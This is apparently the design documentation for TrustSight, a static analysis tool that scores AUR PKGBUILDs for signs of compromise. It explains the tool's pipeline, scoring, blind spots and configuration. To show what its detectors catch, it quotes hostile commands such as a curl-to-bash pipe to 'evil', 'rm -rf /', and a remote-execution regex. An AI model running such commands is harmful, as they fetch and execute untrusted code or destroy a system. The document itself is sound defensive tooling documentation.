Why Static Analysis¶
TrustSight is a Static Application Security Testing (SAST) tool, purpose-built for Arch Linux AUR PKGBUILDs. This page explains why it was designed this way, how the pipeline works, what static analysis can and cannot see, and how you can tune the detection surface.
Why static analysis¶
A PKGBUILD is a recipe, not a binary. It declares what the build will fetch, how it will compile, and what it will install. That text is available before makepkg runs, which means you can audit it before you build.
The AUR is an unmoderated, user-submitted repository. Anyone can publish, and whoever maintains a package can modify it at will. The strongest realistic adversary controls every byte of every artifact TrustSight reads about a package, and knows the source code. In that environment, TrustSight chose static analysis for four reasons:
- It runs before
makepkg. The whole point is to decide whether to build. Running the PKGBUILD to inspect it would defeat the purpose: a malicious PKGBUILD could detect execution and behave differently, or perform harmful actions during the attempted resolution. - It is deterministic. The same diff, against the same stored history, always produces the same score and the same evidence record. There is no randomness, no remote service, and no model in the loop. Runs are read-only by default, so asking twice against the same database does not change the answer;
--recordis the explicit opt-in that makes the next run's history different. (See Security Model for the full invariant.) - It scales. Analysing 50 packages in a review takes seconds, not minutes. No chroot, no root, no sandbox setup.
- It does not modify your system. TrustSight never runs
makepkg, never fetches a URL a package declares, and never extracts an archive to disk. Every finding is traceable to a specific diff line, URL, or novelty record. There is no SSRF primitive to turn a reviewer into a probe. The tool does use the network for two things that are not the package: it downloads the AUR metadata snapshot to discover updates, and (when a baseline is available) the signed seed from the release channel. It never contacts a source the recipe names.
The tradeoff is honest: static analysis cannot observe runtime behaviour. TrustSight's W-series rules (W001-W012) flag cases where code runs and the analysis could not read it, as weight-0 unverifiable findings rather than pretending the surface was covered. See What TrustSight Cannot See for the full ceiling.
What SAST means here¶
TrustSight reads the PKGBUILD and its companion files (.install hooks, committed Makefiles, and other AUR repository content). It then walks a five-stage pipeline:
- Parse the PKGBUILD into a structured representation.
- Analyse it against pattern rules and context signals.
- Score the findings through an additive model.
- Classify the result into a risk band.
- Report the findings through a template.
Every step is local and deterministic. No PKGBUILD is executed. No URL a package declares is fetched. No archive is extracted. The tool reads, computes, and reports. That is all. The one exception to "no network" is fetching the AUR metadata snapshot (discovery) and the signed baseline seed (priors), neither of which the package controls.
1. Parse¶
The PKGBUILD is a shell script with named variables, arrays, function calls, and conditional expressions. The parser resolves variable references in source, sha256sums, pkgver, pkgrel, and the package() function to produce a structured representation.
Resolution is partial by design. PKGBUILDs are not executed, so the parser can only resolve what is statically determinable:
- Simple variable references (
$pkgname,${pkgver}) are resolved. - Function calls (
pkgver() { ... }) are parsed for structure but not executed. - Conditional branches (
if [[ ... ]]) are noted but not taken. - Dynamically constructed strings (command substitution, arithmetic expansion) are marked as unresolvable.
When a source= entry is computed at build time (a command substitution, not a variable the tokenizer can expand), the URL the build will actually fetch is not in the analysed text. The pipeline records this as the unresolved_source coverage gap, and a coverage gap forbids an UNFLAGGED verdict: the result is reported as Inconclusive rather than guessing.
The tokenizer also resolves shell variables so that a payload assembled from C=curl; $C evil | bash still reaches the rules. Resolution is bounded: _MAX_EXPANSION_PASSES (16 rewrites), _MAX_VALUE_LEN (8 KiB per value), _MAX_LINE_LEN (64 KiB per resolved line), and _MAX_TABLE_BYTES (1 MiB for the variable table). A value that would exceed the bound is left unexpanded and never truncated, because a truncated value would look like a fully resolved string with its tail quietly removed. Indirect expansion (${!name}) and length (${#name}) are never resolved; both return unresolved rather than a guess.
2. Analyse¶
The analysis stage extracts four categories of signal from the parsed PKGBUILD:
Structural signals (Tier A) come from rule matching. Two match targets exist because PKGBUILDs have two surfaces:
- Resolved strings are the post-resolution values of variables and function bodies. Rules matched against resolved strings (R001, R002, R003, R008, R012) catch patterns that survive variable resolution. For example,
curl $url | bashis detected in the resolved string after$urlis expanded, not in the raw diff line where the actual URL is hidden behind a variable. - Raw diff lines are the literal lines changed in the diff, with the
+/-prefix stripped. Rules matched against raw lines (H001, H002, R007, H004, R010, R011, R013) catch patterns in the PKGBUILD text itself: asha256sums=('SKIP')declaration, asudocommand, a unicode bidi override character.
Scope constraints further refine matching. R010 (curl) and R011 (wget) are restricted to function_body context to avoid firing on top-level variable assignments or informational messages. This was a direct result of corpus analysis: these patterns in comments or messages were high-frequency false positives, while the uses worth reporting occur inside build functions.
Context signals (Tier B) classify every new source URL by domain. Classification is deterministic: static configured lists and the homograph check assign each URL to trusted_forge, official, raw_hosting, unknown, or homograph_attack. The classification makes no network calls; a run's only egress is the AUR metadata snapshot and the signed baseline channel.
History signals (Tier C) compare new URLs and maintainers against the local database. A URL that has never been observed before in any package is globally novel; one never seen for this specific package is locally novel. Novelty is definitionally meaningless on first run, so its contribution is maturity-gated: it phases in linearly as observations accumulate, reaching full weight at 50 observations.
Verification signals (Tier D) inspect the statically visible post-diff PKGBUILD text for cryptographic metadata: checksum arrays, PGP key declarations, and GPG verify calls. They are declarations, not database-backed or remote verification: TrustSight does not establish that the declared protection is valid. Everything the tool sees is attacker-declared, and it never fetches, so it cannot confirm that a declared key signs anything. These signals are reported at weight 0.
Rule patterns are regexes running over attacker-written text, so the input is clamped to 8 KiB per line before matching. A diff containing any over-length line records the line_truncated coverage gap, which forbids an UNFLAGGED result. The diff itself is capped at a configured byte limit (default 5 MiB); reaching it records diff_truncated.
3. Score¶
The score is a single integer from 0 to 100 computed from all signals. The calculation is purely additive: nothing lowers a score.
Each severity level carries a weight reflecting its information value:
| Severity | Weight | Meaning |
|---|---|---|
| FATAL | 0 | Active deception of the reviewer (R012, R013); names itself in the verdict label, e.g. Low (FATAL: R012) |
| CRITICAL | 40 | Almost certainly malicious if triggered |
| HIGH | 25 | Strong signal |
| MEDIUM | 15 | Notable but not definitive |
| LOW | 5 | Weak signal, context-dependent |
| INFO | 0 | Recorded for audit only |
FATAL rules (R012, R013) contribute weight 0 like any other finding; the score is the strict sum of weights and does not jump to 100 when one fires. The FATAL signal rides the verdict label (Low (FATAL: R012)) and the unsuppressible FATAL entry in score_breakdown. A CRITICAL finding floors the risk band at High: a lone fork bomb or rm -rf / would otherwise read as Medium on arithmetic that says nothing about severity.
Source bucket modifiers adjust for domain trustworthiness: unknown adds 20, homograph_attack adds 30, trusted_forge and official add 0. Novelty weights add to the score when maturity allows: url_first_globally adds 10, url_first_in_package adds 5, maintainer_first_in_package adds 15, each scaled by min(1, observations/50).
The final score is clamped to 0 to 100. A package with checksums, a trusted forge source, and no rule firings scores 0.
4. Classify¶
The score maps to a verdict class:
| Score range | Verdict | Meaning |
|---|---|---|
| 0 to 20 | Low | No actionable signals detected, and the analysis was complete |
| 21 to 50 | Medium | Signals warrant review before updating |
| 51 to 80 | High | Strong signals warrant review |
| 81 to 100 | Critical | Almost certainly malicious if triggered |
| Any | Inconclusive | A cold database, or an analysis that could not examine the whole change |
INCONCLUSIVE is triggered by exactly two things: a coverage gap (the diff was truncated, a line was longer than the matching limit, or a source= entry is computed at build time), or a cold database (a Medium-band score held up entirely by novelty, with fewer than 25 recorded analyses). A HIGH, CRITICAL, or FATAL finding is never downgraded this way.
5. Translate¶
The score, evidence breakdown, and verification metadata are rendered into a structured report. All output is deterministic and generated locally from the computed data. No language model renders a verdict; rendering is a security property, not a stylistic one.
What static analysis cannot see¶
Static analysis has a reasoned ceiling. These are not bugs; they are inherent limits of auditing PKGBUILD metadata rather than build artifacts.
The upstream-payload gap¶
A PKGBUILD is a recipe, not a meal. A signed, version-bumped PKGBUILD with a checksum that matches a backdoored tarball is invisible to this tool. The audit checks the recipe, not the cooked meal. TrustSight can tell you that the recipe looks normal; it cannot tell you that the tarball at the other end of that checksum is safe.
A checksum, a commit, a submodule gitlink, and a committed binary's blob id all name content the analysis never reads. A change to one of them, with no corresponding version change, is the observable form of "the code was replaced". H033 applies this to a git ref and C001 to a checksum. What remains genuinely invisible is a first analysis (which has no previous identity to compare against) and a legitimate upstream release that happens to contain a payload.
The parser boundary¶
Not all PKGBUILD structure is resolvable without execution. Unresolvable variable references, conditional expressions that determine command execution, dynamically constructed command strings, and loop-generated sources are all beyond static resolution. Where this affects a source= entry, the pipeline records the unresolved_source coverage gap and the run is reported as Inconclusive.
Deliberately-unremarkable PKGBUILDs¶
A malicious PKGBUILD that contains no detectable patterns (no curl, no base64, no checksum changes, no new URLs, no untrusted source buckets) will score 0. The tool detects patterns associated with compromise, not compromise itself. TrustSight mitigates this through novelty signals (Tier C catches patterns the rules do not anticipate), the additive scoring model (low scores still warrant review), and deterministic verdicts (every triggered signal is described). None of these eliminate the problem.
The novelty ceiling¶
The ruleset detects known patterns and reuse: commands, hosts, checksums, maintainers, and dependency names that match a documented signature or have been observed before. An attacker with fresh infrastructure and no known pattern is not caught by most rules.
For the full list of limitations, see What TrustSight Cannot See.
Customization¶
TrustSight's configurable detection surface is controlled through files in ~/.config/trustsight/, without touching source code. The files are written on first run; an edited file is always kept, and ensure_default_configs() appends any shipped rules a stale rules.toml is missing. A trustsight config sync-rules command brings a stale rules.toml in line with the shipped defaults.
rules.toml¶
The primary tuning surface. Contains 37 R-series regex rules, each with an id, name, pattern, severity, category, and match_target. You can change the pattern, severity, or disable any of them. Use weight_override in config.toml to change an R-series rule's weight.
[[rules]]
id = "R001"
name = "Remote Script Execution"
pattern = 'curl.*(?<!\\\\)\\|\\s*(?:@@EXEC@@)'
severity = "CRITICAL"
category = "network_execution"
match_target = "resolved"
R-series rules are regex-based and match against resolved strings or raw diff lines. H-series heuristics (103 rules) are emitted from code because they need diff context a single-line regex cannot see (for example, "did the build function change between two commits?", or "did the build function gain a network client?"). Their thresholds are tuned in thresholds.toml, and their weights come from [severity_weights] in config.toml.
C-series rules (C001-C032) enforce structural invariants that depend on comparing multiple parsed fields (checksum state, source URL set, pkgver value). They are hard-coded because writing them as TOML patterns would require embedding logic in regex.
S-series sabotage rules (S001-S008) use command-position matching to distinguish build-sandbox cleanup from system damage: rm -rf "$srcdir/x" is housekeeping, rm -rf / is not.
X-series crossfire rules (X001-X034) are anti-evasion rules that detect patterns designed to exploit the analysis itself.
Two families report at weight 0 and never score: declared-practice findings (P001-P009) and unverifiable findings (W001-W012), the latter naming what an analysis could not read.
For the full rule catalog, see Rules Reference.
config.toml¶
Controls weights, limits, review profiles, and per-rule overrides.
[severity_weights] maps each severity level to its numeric contribution to the base score. FATAL findings contribute their declared weight (0 by default) like any other finding; the FATAL signal rides the verdict label and the unsuppressible score_breakdown entry, not a score shortcut.
[review] selects a profile and its flagging threshold. Three profiles ship: default (threshold 20, about 7.1% of benign diffs enter the review queue), quiet (threshold 40, smaller queue), and strict (threshold 10, broader queue for operators who prefer sensitivity). Changing a profile does not change a score, risk band, or calibration result; it changes only the reports marked for review.
[rules.R###] provides per-rule enabled and weight_override for any R-series rule. A FATAL rule cannot be disabled.
[depth] controls how far into AUR dependency closures to analyse. 0 disables it, 1 (the default) analyses direct AUR dependencies, n analyses n levels, and -1 walks every level up to the hard ceilings (8 levels, 200 dependencies per run).
[diff] sets byte caps for diffs. The default max_diff_bytes is 5 MiB; a larger diff sets the diff_truncated coverage gap.
[code_rules] enables or disables code-emitted rules that default to true after corpus calibration: D001 (novel dependency name), D002 (dependency typo), D003 (network-capable makedepends), D004 (unrelated provides/replaces), H015-H019, and others.
overrides.json¶
Suppress a specific finding for a specific package. Managed through the trustsight override command:
trustsight override add R001 --package some-package --reason "Legitimately bootstraps its own installer"
trustsight override list
trustsight override rm R001 --package some-package
A FATAL finding (R012, R013) cannot be overridden. Suppressed findings are always visible in the output as non-scoring audit data; a silent suppression is indistinguishable from a missed one.
thresholds.toml¶
Tuning knobs for H-series heuristics and longitudinal signals. Each key controls a threshold that a code-emitted rule reads at analysis time:
| Key | Rule | Default | Meaning |
|---|---|---|---|
h036.obfuscation_density |
H036 | 3 | Distinct obfuscation indicators on one line before reporting |
h043.attack_chain_stages |
H043 | 3 | Kill-chain stages that must co-occur |
h045.min_packages / h045.window_days |
H045 | 10 / 7 | Cluster size and window for mass adoption detection |
h052.min_packages |
H052 | 3 | Unrelated packages that must share a source repository |
h055.min_packages / h055.window_hours |
H055 | 5 / 24 | Cluster size and window for an attribute burst |
h057.min_hops / h060.min_hops |
H057, H060 | 2 | Hops that make an exposure transitive rather than direct |
h058.min_history_cycles / h058.z_score / h058.min_activity |
H058 | 3 / 2.0 / 3 | Baseline length, deviation, and floor for maintainer activity |
h061.min_dependents |
H061 | 50 | Dependents that make a package a hub |
h073.min_history_cycles / h073.z_score / h073.min_introduced |
H073 | 3 / 3.0 / 3 | Baseline length, deviation, and floor for corpus introduction rate |
h064.widely_provided_observations |
H064 | 25 | Observations that make a provided name widely provided |
h074.window_days |
H074 | 14 | How recent the modification must be after an adoption |
longitudinal.stability_floor |
Class C | 10 | Consecutive observations a property must hold before a change is reported |
hosts.toml¶
Lists that rules match against. Each list is consumed directly by its named rule:
| Key | Rules | Contents |
|---|---|---|
paste_hosts |
H041, source buckets | Paste and ephemeral file-drop hosts. As source= URLs they are weighted by the raw_hosting bucket; as upload destinations inside a function they trigger H041. |
standard_ports |
R047 | Ports a build may legitimately contact. An HTTP URL to a non-standard port triggers R047 unless the port is in this list. |
free_registrar_tlds |
R048 | TLDs available at no cost, where a throwaway domain is cheap. |
source_schemes |
H034 | Allowlisted source= schemes. The base of a transport+base token is judged, so git+https reads as https. |
confusable_domains |
R013b | Popular domains a homoglyph label is tested against. A mixed-script label that resembles none of them stays quiet. |
covert_egress_endpoints |
H071 | DNS-over-HTTPS endpoints. |
covert_egress_clients |
H071 | Tunnelling and proxy clients, matched only at a command position. |
For overlapping settings, hosts.toml has precedence: standard_ports overrides [ports] standard in config.toml, and free_registrar_tlds overrides [domains] free_registrar_tlds. An empty sibling list falls back to the corresponding config.toml value and then the shipped default.
patterns.toml¶
Pattern lists for specific rules:
| Key | Rules | Contents |
|---|---|---|
foreign_pkg_managers |
H035 | Package managers that are not pacman. |
obfuscation_indicators |
H036 | Per-line obfuscation markers, counted against a density threshold. |
anti_analysis_probes |
H067 | Debugger, VM, sandbox, and CI probes. |
recon_commands |
H040 | Host-profiling commands, command-position anchored. |
parse_time_fetch |
H077 | Network clients whose invocation outside every function runs when the recipe is sourced. |
upload_flags |
H041 | curl/wget flags that send a request body (separating an upload from a download). |
network_tools |
D003 | Package names that grant a build network access. |
security_relevant_flags |
H047 | Hardening flags whose appearance or disappearance changes the mitigation set. |
security_relevant_libraries |
H048 | Libraries whose vendoring bypasses distribution security updates. |
naming.toml¶
Ecosystem prefixes (D004, H064) and variant suffixes (D002, H029, H052, H053). These decide when two package names belong to the same project, which is what keeps a package claiming its own project's names from firing a scope-expansion rule. For example, htop-vim providing htop does not fire D004 because the suffix identifies it as a variant.
trusted_domains.toml¶
Domain classification lists for source bucket assignment: trusted_forges (github.com, gitlab.com, codeberg.org, bitbucket.org), official_projects (downloads.apache.org, nginx.org, kernel.org, and others), and additional categories. A URL's bucket determines its score modifier: trusted_forge and official add 0, raw_hosting adds 15, unknown adds 20, homograph_attack adds 30.
iocs.toml¶
A versioned indicator list of known-bad package names, domains, and artifact hashes, each with provenance and a confidence tier. Ships empty. Matches are emitted as H056 findings and scored: the confidence tier sets the severity, so confirmed is FATAL, high is CRITICAL and medium is HIGH. A confirmed FATAL match contributes weight 0 like any other finding and names itself in the verdict label; the FATAL entry in score_breakdown is the do-not-install signal. (The separate IOC federation baseline is reported on PackageFact.ioc_matches without affecting the score.) An expired indicator is reported as expired rather than silently dropped.
For the full configuration reference, see Configuration. For the scoring model, see Scoring Philosophy. For the security invariants, see Security Model.